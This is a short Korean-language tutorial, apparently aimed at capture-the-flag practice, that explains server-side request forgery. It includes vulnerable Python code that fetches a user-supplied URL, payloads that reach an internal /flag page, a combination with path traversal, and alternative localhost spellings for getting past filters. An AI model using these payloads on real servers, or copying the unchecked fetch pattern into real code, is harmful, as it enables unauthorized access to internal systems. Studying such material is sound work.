서버를 속여서 서버가 대신 HTTP 요청을 보내게 만드는 취약점
사용자가 입력한 URL을 서버가 직접 요청하는 기능이 있다면 발생할 수 있다.
공격자는 서버의 권한을 이용해서 외부에서는 접근할 수 없는 내부 서버나 로컬 파일에 접근할 수 있다.
image_url = request.args.get("image_url")
resp = requests.get(image_url)
공격자가 원하는 주소를 입력하면 서버가 해당 주소로 요청을 보낸다.
?image_url=http://yamujin.im/yaru.jpg
즉, 사용자가 직접 요청하는 것이 아니라 서버가 대신 요청한다.
서버가 사용자의 IP를 확인하고 로컬 사용자인 경우에만 플래그에 접근할 수 있다고 하자.
/flag
외부 사용자가 직접 접근하면 권한이 없기 때문에 다음과 같이 거부된다.
403 Forbidden
하지만 서버 내부에서 요청을 보내면 로컬 사용자로 인식될 수 있다.
?image_url=http://127.0.0.1:8000/flag
서버가 자기 자신에게 요청을 보내면서 내부 전용 페이지의 응답을 가져온다.
서버가 내부 이미지 파일에 접근하는 기능이 있다고 하자.
?image=1
서버는 사용자 입력을 다음 주소 뒤에 붙여 요청한다.
resp = requests.get(
f"http://127.0.0.1/db/image/{image}"
)
정상적인 요청 주소:
http://127.0.0.1/db/image/1
db/image는 로컬 사용자만 접근할 수 있고, 플래그는 /flag에 있다고 하자.
../을 사용하면 상위 경로로 이동할 수 있다.
?image=../../flag
서버가 만드는 주소:
http://127.0.0.1/db/image/../../flag
경로가 정규화되면 다음과 같이 바뀐다.
http://127.0.0.1/flag
따라서 SSRF와 Path Traversal을 함께 사용하여 플래그를 획득할 수 있다.
만약 서버가 다음과 같은 문자열을 필터링한다면?
127.0.0.1
localhost
IP 주소를 다른 형태로 표현해서 필터를 우회할 수 있다.
http://127.1
http://127.0.1
http://0
http://0.0.0.0
http://[::]
이 주소들은 환경에 따라 127.0.0.1 또는 로컬호스트를 의미할 수 있다.
단, 서버의 URL 파서나 필터 방식에 따라 동작 여부가 달라질 수 있다.